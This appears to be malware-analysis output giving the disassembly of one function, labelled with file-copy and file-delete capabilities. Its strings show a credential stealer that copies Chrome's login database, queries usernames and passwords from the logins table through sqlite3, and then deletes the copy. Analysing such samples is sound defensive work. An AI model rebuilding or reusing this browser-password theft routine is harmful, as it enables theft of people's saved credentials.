Function at 0x434220
Capabilities:
Copy file
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x560e10
mov eax, dword fs:[0]
push eax
sub esp, 0x43c
mov eax, dword [0x5bf500]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x440], ecx
xor edx, edx
mov ecx, str.FindChromePasswordsWorker_:_starting
call fcn.00433f20
mov dword [ebp - 4], 0
mov dword [ebp - 0x434], 0
push dword [0x647f10]
call fcn.00523fb0
add esp, 4
mov dword [0x647f14], eax
xor bl, bl
push dword [0x647f10]
push 0x592c44
push 0x400
lea eax, [ebp - 0x430]
push eax
call fcn.0052457a
add esp, 0x10
lea eax, [ebp - 0x430]
push eax
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
mov edx, dword [0x647f14]
mov ecx, str.FindChromePasswordsWorker_:_dbfileorig
call fcn.00433f20
lea edx, [ebp - 0x430]
mov ecx, str.FindChromePasswordsWorker_:_trying_to_copy_file_to_file
call fcn.00433f20
push 0
lea eax, [ebp - 0x430]
push eax
push dword [0x647f10]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x4343a6
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
push eax
push 0x5928fc
push 0xb
lea eax, [ebp - 0x20]
push eax
call fcn.0052457a
add esp, 0x10
lea edx, [ebp - 0x20]
mov ecx, str.FindChromePasswordsWorker_:_failed_to_copy_file:
call fcn.00433f20
lea eax, [ebp - 0x430]
push eax
call esi
push dword [0x647f10]
push 0x592ce0
push 0x400
lea eax, [ebp - 0x430]
push eax
call fcn.0052457a
add esp, 0x10
lea edx, [ebp - 0x430]
mov ecx, str.FindChromePasswordsWorker_:_trying_to_copy_file_to_file
call fcn.00433f20
push 0
lea eax, [ebp - 0x430]
push eax
push dword [0x647f10]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x43439f
call edi
push eax
push 0x5928fc
push 0xb
lea eax, [ebp - 0x2c]
push eax
call fcn.0052457a
add esp, 0x10
lea edx, [ebp - 0x2c]
mov ecx, str.FindChromePasswordsWorker_:_failed_to_copy_file:
call fcn.00433f20
xor edx, edx
mov ecx, str.FindChromePasswordsWorker_:_PASSWORD_EXTRACTION_WILL_LIKELY_FAIL_
call fcn.00433f20
jmp 0x4343b4
mov ecx, str.FindChromePasswordsWorker_:_B_successfully_copied_file
jmp 0x4343ab
mov ecx, str.FindChromePasswordsWorker_:_A_successfully_copied_file
xor edx, edx
call fcn.00433f20
mov bl, 1
mov edx, dword [0x647f10]
test edx, edx
je 0x4343cf
push edx
call fcn.0051f344
add esp, 4
xor edx, edx
mov dword [0x647f10], edx
test bl, bl
je 0x4343f9
lea eax, [ebp - 0x430]
push eax
call fcn.00523fb0
add esp, 4
mov dword [0x647f10], eax
mov edx, eax
mov ecx, str.FindChromePasswordsWorker_:_using_copied_file
call fcn.00433f20
mov edx, dword [0x647f10]
mov ecx, str.FindChromePasswordsWorker_:_calling_sqlite3_open_file
call fcn.00433f20
lea eax, [ebp - 0x434]
push eax
push dword [0x647f10]
call fcn.004bae80
add esp, 8
xor edx, edx
test eax, eax
je 0x434444
mov ecx, str.FindChromePasswordsWorker_:_sqlite3_open_FAILED
call fcn.00433f20
push dword [ebp - 0x434]
call fcn.004b8a80
add esp, 4
lea eax, [ebp - 0x430]
push eax
call esi
jmp 0x43451a
mov ecx, str.FindChromePasswordsWorker_:_sqlite3_open_succeeded
call fcn.00433f20
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x43c], 0
mov dword [ebp - 0x448], 0
xor edx, edx
mov ecx, str.FindChromePasswordsWorker_:_calling_sqlite3_get_table
call fcn.00433f20
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x43c]
push eax
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x444]
push eax
push str.select_origin_url__action_url__username_element__username_value__password_element__submit_element__signon_realm__rowid_from_logins
mov edi, dword [ebp - 0x434]
push edi
call fcn.004a38f0
add esp, 0x18
xor edx, edx
test eax, eax
jne 0x4344f7
mov ecx, str.FindChromePasswordsWorker_:_sqlite3_get_table_succeeded
call fcn.00433f20
xor edx, edx
mov ecx, str.FindChromePasswordsWorker_:_calling_ParseSqliteChromeResult
call fcn.00433f20
push ecx
push dword [ebp - 0x440]
push dword [ebp - 0x43c]
push dword [ebp - 0x438]
mov esi, dword [ebp - 0x444]
mov edx, esi
mov ecx, edi
call fcn.00435040
push esi
call fcn.004a3ab0
add esp, 0x14
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x434501
mov ecx, str.FindChromePasswordsWorker_:_sqlite3_get_table_FAILED
call fcn.00433f20
push edi
call fcn.004b8a80
add esp, 4
lea eax, [ebp - 0x430]
push eax
call esi
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0051ece9
mov esp, ebp
pop ebp
ret